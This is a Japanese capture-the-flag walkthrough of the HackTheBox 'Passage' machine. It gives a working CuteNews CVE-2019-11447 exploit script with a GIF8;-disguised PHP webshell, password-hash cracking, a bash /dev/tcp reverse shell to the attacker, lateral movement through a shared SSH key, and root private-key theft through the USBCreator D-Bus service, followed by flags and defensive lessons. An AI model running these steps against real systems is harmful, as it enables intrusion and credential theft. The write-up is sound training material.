HackTheBox: Passage — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Apache, CuteNews)
→
22(SSH)/80(Apache, CuteNews)
CVE-2019-11447
avatar GIF8;ヘッダ PHP RCE
→
avatar GIF8;ヘッダ PHP RCE
www-data webshell
→
cdata/users抽出
paul SHA-256 → atlanta1
→
paul SHA-256 → atlanta1
reverse shell+PTY
su paul (SSHパスワード不可)
→
su paul (SSHパスワード不可)
user.txt ✓ + 共有id_rsa
→
nadav SSH横移動
sudoグループ
→
sudoグループ
USBCreator D-Bus
polkit認証バイパス
→
polkit認証バイパス
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.72.214
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 (Ubuntu) |_http-title: Passage News
Webアプリの特定
BASH
curl -s http://10.129.72.214/ | head -30
RESULT
<title>Passage News</title>
<link href="CuteNews/libs/css/cosmo.min.css" rel="stylesheet">
<script src="CuteNews/libs/js/jquery.js"></script>
Set-Cookie: CUTENEWS_SESSION=...
ℹ️
ルートページ(
Passage News)は静的ラッパーで、実体の CuteNews
本体は /CuteNews/ サブディレクトリに配置されている。バージョン確認は
/CuteNews/index.php?mod=help&action=about 等から 2.1.2 と判明。
CuteNews 2.1.2 は CVE-2019-11447(avatarアップロード時の
$imgsize チェック不備)の対象。
ハマりどころ: ターゲットが数十秒〜数分単位でバースト的にダウンする
NOTE
# 定点観測すると、HTTP(80)・SSH(22)ともに不規則な周期でダウン→復帰を
# 繰り返すことが確認できた(接続拒否/SYNタイムアウトいずれも観測)。
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code}\n" --max-time 3 http://10.129.72.214/
sleep 5
done
# → 000, 000, 200, 000, 000, 000, 200, 200, ... のように不規則
⚠️
自動化・手動問わず、1回のリクエスト失敗だけで「サービスが落ちている」と
判断せず、観測された最長の断続時間(実測で2分超)より十分大きい予算で
リトライすること。
PHASE 2
CVE-2019-11447: CuteNews avatar アップロード RCE
アカウント登録
PYTHON
import requests
s = requests.Session()
data = {
"action": "register",
"regusername": "pwnpass01", "regnickname": "pwnpass01",
"regpassword": "pwnpass01", "confirm": "pwnpass01",
"regemail": "pwnpass01@hack.me",
}
r = s.post("http://10.129.72.214/CuteNews/index.php?register",
data=data, allow_redirects=False, timeout=15)
print(r.status_code) # 302 なら成功
プロフィールページからCSRFトークン(署名)を取得
PYTHON
r2 = s.get("http://10.129.72.214/CuteNews/index.php?mod=main&opt=personal", timeout=15)
token = r2.text
import re
m1 = re.search(r'"__signature_key" value="(.*?)"', token)
m2 = re.search(r'"__signature_dsi" value="(.*?)"', token)
m3 = re.search(r'disabled="disabled" value="(.*?)"', token)
signature_key, signature_dsi, logged_user = m1.group(1), m2.group(1), m3.group(1)
⚠️
ハマりどころ: トークンのHTML属性名は
name="__signature_key" / name="__signature_dsi" と
アンダースコア2つのプレフィックス付き。正規表現を
"signature_key"(プレフィックスなし)で書くと常にマッチせず、
以降のアップロードが静かに失敗し続ける。
avatar として PHP Webシェルをアップロード
PYTHON
payload = b"GIF8;\n<?php system($_REQUEST['cmd']); ?>"
files = {
"mod": (None, "main"), "opt": (None, "personal"),
"__signature_key": (None, signature_key),
"__signature_dsi": (None, signature_dsi),
"editpassword": (None, ""), "confirmpassword": (None, ""),
"editnickname": (None, logged_user),
"avatar_file": (f"{logged_user}.php", payload),
"more[site]": (None, ""), "more[about]": (None, ""),
}
s.post("http://10.129.72.214/CuteNews/index.php", files=files, timeout=15)
ℹ️
CuteNews 2.1.2 は avatar アップロード時、拡張子ではなく画像ヘッダの一部
(
$imgsize = getimagesize()の戻り値)だけをチェックしており、
先頭が GIF8; で始まる非画像ファイルをそのまま
uploads/avatar_<user>_<user>.php として保存してしまう。
Webシェル経由でコマンド実行を確認
BASH
curl -s -X POST http://10.129.72.214/CuteNews/uploads/avatar_pwnpass01_pwnpass01.php \ -d "cmd=id"
RESULT
GIF8;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功。 応答本文の先頭に元のGIFヘッダ文字列
GIF8; がそのまま残るため、パース時は
re.sub(r"^GIF8;", "", resp) で除去する。
PHASE 3
cdata/users からのハッシュ抽出とクラック
全ユーザーレコードの回収
BASH (webshell経由)
cmd=grep -r -h php -v /var/www/html/CuteNews/cdata/users/ 2>/dev/null | base64 -d 2>/dev/null
RESULT
a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";...
"email";s:15:"paul@passage.htb";...
"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";...
ℹ️
CuteNews の
cdata/users/*.php は各行が「不正アクセス防止用の
<?php die(...); ?> ガード + base64エンコードされたPHP serialize
データ」という構造。grep -v php(ガード行の除去、コメントに”php”が
含まれる行を弾く簡易フィルタ)→base64 -dでユーザーDB全体を平文取得できる。
paul の SHA-256 ハッシュをクラック
BASH
echo "e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd" > paul.hash john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 paul.hash john --show --format=Raw-SHA256 paul.hash
RESULT
paul.hash:atlanta1
1 password hash cracked, 0 left
PHASE 4
reverse shell + PTY + su paul → user.txt
ハマりどころ: sshdがパスワード認証を受け付けない
BASH
sshpass -p atlanta1 ssh paul@10.129.72.214 id
RESULT
paul@10.129.72.214: Permission denied (publickey).
BASH (webshell経由で確認)
cmd=grep -i passwordauth /etc/ssh/sshd_config
RESULT
PasswordAuthentication no
🚨
重要発見: このインスタンスの sshd はパスワード認証を無効化している。
crackしたパスワードでの直接SSHログインは成立しない。www-dataの権限で
/home/paul 配下も読み取り不可(Permission denied)なため、
別の経路でpaulに昇格する必要がある。
webshell経由でリバースシェルを確立
BASH
# 別ターミナルでリスナー起動 nc -lnvp 4567 # webshell経由でリバースシェルを発火 cmd=bash -c 'bash -i >&/dev/tcp/<KaliのIP>/4567 0>&1'
RESULT
listening on [any] 4567 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.72.214] 42714
www-data@passage:/var/www/html/CuteNews/uploads$
PTY割当て + su paul
BASH (確立したリバースシェル上)
www-data@passage:~$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@passage:~$ su paul
Password: atlanta1
RESULT
paul@passage:/var/www/html/CuteNews/uploads$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
⚠️
su は制御端末(TTY)を必須とするため、webshellの一発
system()呼び出しでは su: must be run from a terminal
で必ず失敗する。まずリバースシェルを張り、python3 -c "import pty;
pty.spawn('/bin/bash')" で疑似端末を割り当ててから、その持続的な
ソケット接続上で su のパスワードプロンプトに応答する必要がある。
user.txt と共有 id_rsa の取得
BASH
paul@passage:~$ cat /home/paul/user.txt paul@passage:~$ cat /home/paul/.ssh/id_rsa
RESULT
f0bffc652f5e34e954515f9559e5f080
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
...(中略)...
-----END RSA PRIVATE KEY-----
user.txt — paul@passage
f0bffc652f5e34e954515f9559e5f080
PHASE 5
nadav への横移動(共有 SSH 鍵)
同じ鍵で nadav に SSH ログイン
BASH
chmod 600 paul_id_rsa ssh -i paul_id_rsa nadav@10.129.72.214 "id; sudo -l"
RESULT
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
sudo: no tty present and no askpass program specified
ℹ️
paul の
~/.ssh/id_rsa はそのまま nadav の
authorized_keys にも登録されている共有鍵。nadav は
sudo グループのメンバー(SSH鍵認証さえ成功すれば
パスワード不要でここまで到達できる)。
PHASE 6
USBCreator D-Bus 権限昇格 → root.txt
なぜ sudo なしで root 権限のD-Busメソッドを呼べるのか
BASH (nadav シェル上)
nadav@passage:~$ cat ~/.bash_history | grep -i polkit nadav@passage:~$ cat /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
RESULT
[Configuration]
AdminIdentities=unix-group:sudo
🚨
重要発見: vim のコマンド履歴から、この設定ファイルが
「
unix-group:sudo(sudoグループ全員をpolkit管理者とみなす)」に
改変されていたことが分かる(本来のUbuntuデフォルトはより限定的)。この結果、
sudoグループのメンバーであるだけでUSBCreatorのような
polkitアクション(通常はGUIでの管理者パスワード入力を要求)を
パスワードなしで通過できてしまう。
USBCreator D-Bus の Image メソッドで任意ファイルコピー
BASH
nadav@passage:~$ gdbus call --system \ --dest com.ubuntu.USBCreator \ --object-path /com/ubuntu/USBCreator \ --method com.ubuntu.USBCreator.Image \ /root/.ssh/id_rsa /home/nadav/root_id_rsa_copy true nadav@passage:~$ cat /home/nadav/root_id_rsa_copy
RESULT
() -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ ...(中略)... -----END RSA PRIVATE KEY-----
✅
root秘密鍵の窃取成功。 USBCreator の
Image
メソッドは USBメモリへのISOイメージ書き込み(dd相当)を意図した
機能だが、コピー元・コピー先いずれのパスにも検証がない。polkit
認証さえ通れば(前項の設定不備により sudo グループなら無条件で通る)、
任意のファイルを任意の場所へ root 権限でコピーできてしまう。
root として SSH ログイン → root.txt
BASH
chmod 600 root_id_rsa ssh -i root_id_rsa root@10.129.72.214 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) e9eccdf5e6d662aa2b99c1c497e240d7
root.txt — root@passage
e9eccdf5e6d662aa2b99c1c497e240d7
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — paul@passage
f0bffc652f5e34e954515f9559e5f080
root.txt — root@passage
e9eccdf5e6d662aa2b99c1c497e240d7
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-11447 | CuteNews 2.1.2 (avatarアップロード) | リモートコード実行(www-data) | Critical | GIF8;ヘッダ偽装で拡張子チェックを回避しPHP Webシェルを配置 |
| パスワード使い回し(SSH鍵共有) | paul/nadav ユーザー | 横方向移動 | Medium | crackしたpaulのパスワードでsu昇格 → paulのSSH秘密鍵がnadavにも共有されていた |
| polkit AdminIdentities誤設定 + USBCreator D-Bus | com.ubuntu.USBCreator | 権限昇格 (root) | High | unix-group:sudo設定によりsudoグループが無条件でpolkit通過、パス検証なしのImageメソッドで任意ファイルコピー |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/80(Apache, CuteNews 2.1.2) |
| 2 | RCE | CVE-2019-11447 avatarアップロード | www-data webshell |
| 3 | ハッシュ抽出 | cdata/users base64+serialize解析 | paul:atlanta1(john+rockyou) |
| 4 | 昇格 | reverse shell+PTY+su paul | user.txt+共有id_rsa |
| 5 | 横移動 | 共有SSH鍵 | nadav(sudoグループ)シェル |
| 6 | 権限昇格 | USBCreator D-Bus(polkit誤設定悪用) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| CuteNews 2.1.2のavatarアップロードが拡張子でなく画像ヘッダの一部しか検証していない | CuteNews を修正版へアップデートする。アップロード先ディレクトリでのPHP実行をApache設定(php_admin_flag engine off等)で無効化する。 |
| 複数ユーザー間でSSH秘密鍵を使い回している | ユーザーごとに個別の鍵ペアを発行する。鍵の使い回しは横方向移動を著しく容易にする。 |
polkitのAdminIdentitiesがunix-group:sudoに緩められ、sudoグループ全員が無条件の管理者操作(パスワード入力なし)を行える |
polkit設定はデフォルトから安易に緩めない。特にUSBCreatorのようなパス検証の甘いD-Busサービスは、意図しない任意ファイル操作の踏み台になりうる。 |

